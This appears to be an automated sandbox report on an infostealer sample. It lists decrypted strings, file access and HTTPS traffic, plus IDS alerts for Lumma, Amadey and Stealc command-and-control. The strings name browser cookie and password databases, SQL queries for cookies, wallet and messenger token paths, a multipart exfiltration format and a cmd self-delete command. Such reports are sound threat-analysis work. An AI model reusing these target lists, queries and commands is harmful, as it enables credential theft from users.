Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Cookies
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Login Data
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Web Data
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: History
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: logins.json
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: formSubmitURL
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: usernameField
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: encryptedUsername
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: encryptedPassword
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: guid
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SELECT fieldname, value FROM moz_formhistory
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SELECT url FROM moz_places LIMIT 1000
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: cookies.sqlite
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: formhistory.sqlite
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: places.sqlite
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: plugins
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Local Extension Settings
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Sync Extension Settings
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: IndexedDB
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Opera Stable
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Opera GX Stable
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: CURRENT
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: chrome-extension_
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Local State
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: profiles.ini
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: chrome
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: opera
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: firefox
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: wallets
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: ProductName
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: x32
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: x64
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: ProcessorNameString
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: DisplayName
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: DisplayVersion
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Network Info:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - IP: IP?
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - Country: ISO?
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: System Summary:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - HWID:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - OS:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - Architecture:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - UserName:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - Computer Name:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - Local Time:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - UTC:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - Language:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - Keyboards:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - Laptop:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - Running Path:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - CPU:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - Threads:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - Cores:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - RAM:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - Display Resolution:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: - GPU:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: User Agents:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Installed Apps:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: All Users:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Current User:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Process List:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: system_info.txt
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: freebl3.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: mozglue.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: msvcp140.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: nss3.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: softokn3.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: vcruntime140.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: \Temp\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: .exe
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: runas
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: open
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: /c start
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: %DESKTOP%
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: %APPDATA%
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: %USERPROFILE%
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: %DOCUMENTS%
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: %RECENT%
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: *.lnk
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: files
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: \discord\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: \Telegram Desktop\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: key_datas
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: map*
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Telegram
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Tox
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: *.tox
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: *.ini
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Password
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: 00000001
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: 00000002
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: 00000003
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: 00000004
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Pidgin
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: \.purple\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: accounts.xml
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: token:
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Software\Valve\Steam
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: SteamPath
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: \config\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: ssfn*
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: config.vdf
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: DialogConfig.vdf
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: libraryfolders.vdf
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: loginusers.vdf
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: \Steam\
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: sqlite3.dll
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: browsers
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: done
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: soft
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: https
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: POST
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: HTTP/1.1
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: hwid
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: build
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: token
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: file_name
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: file
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: message
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 28.2.num.exe.e80000.0.unpack	String decryptor: screenshot.jpg

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49860 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49921 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49931 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49943 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49960 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50008 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:50043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50084 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:50085 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:50098 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58616 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58618 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58620 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58621 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58623 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58624 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58627 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:58629 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58645 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.4:58647 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58652 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:58659 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:58658 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:58684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58691 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.4:58690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.149.100.209:443 -> 192.168.2.4:58693 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:58710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:58708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.120.208.123:443 -> 192.168.2.4:58709 version: TLS 1.2

Source:	Binary string: my_library.pdbU source: 1171a5b648.exe, 0000000A.00000003.2488093515.0000000004E2B000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000000A.00000002.2529289944.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001C.00000002.2604375299.0000000000EAC000.00000008.00000001.01000000.00000013.sdmp, 1171a5b648.exe, 0000001F.00000003.2632031246.0000000004EFB000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000001F.00000002.2685024844.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr
Source:	Binary string: my_library.pdb source: 1171a5b648.exe, 0000000A.00000003.2488093515.0000000004E2B000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000000A.00000002.2529289944.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num.exe, 0000001C.00000002.2604375299.0000000000EAC000.00000008.00000001.01000000.00000013.sdmp, 1171a5b648.exe, 0000001F.00000003.2632031246.0000000004EFB000.00000004.00001000.00020000.00000000.sdmp, 1171a5b648.exe, 0000001F.00000002.2685024844.000000000011C000.00000040.00000001.01000000.0000000F.sdmp, num[1].exe.8.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: QPHIWB3GKESEWV8SSDAQV1GC2I70.exe, 00000002.00000002.1999432818.0000000000192000.00000040.00000001.01000000.00000006.sdmp, QPHIWB3GKESEWV8SSDAQV1GC2I70.exe, 00000002.00000003.1866208811.0000000005110000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe

Directory queried: number of queries: 1413

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Publishers	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\SolidDocuments	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Packages	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\CEF	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: firefox.exe

Memory has grown: Private usage: 1MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:63537 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:53325 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057123 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store) : 192.168.2.4:58458 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:61756 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:54763 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49735 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49730 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49733 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49732 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49731 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49736 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49737 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49734 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49792 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:55872 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:64014 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:64481 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:49516 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49808
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49843 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49852 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49842 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49860 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49868 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49878 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49890 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49884 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49893 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49904 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:52609 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:64988 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49919 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49916 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49921 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49931 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49945 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49960 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49959 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:60841 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49979 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49994 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50008 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50033 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:50043 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2057125 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store) : 192.168.2.4:51905 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.4:49943 -> 188.114.97.3:443
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50071 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057131 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store) : 192.168.2.4:59249 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057127 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store) : 192.168.2.4:49153 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2057129 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store) : 192.168.2.4:63867 -> 1.1.1.1:53
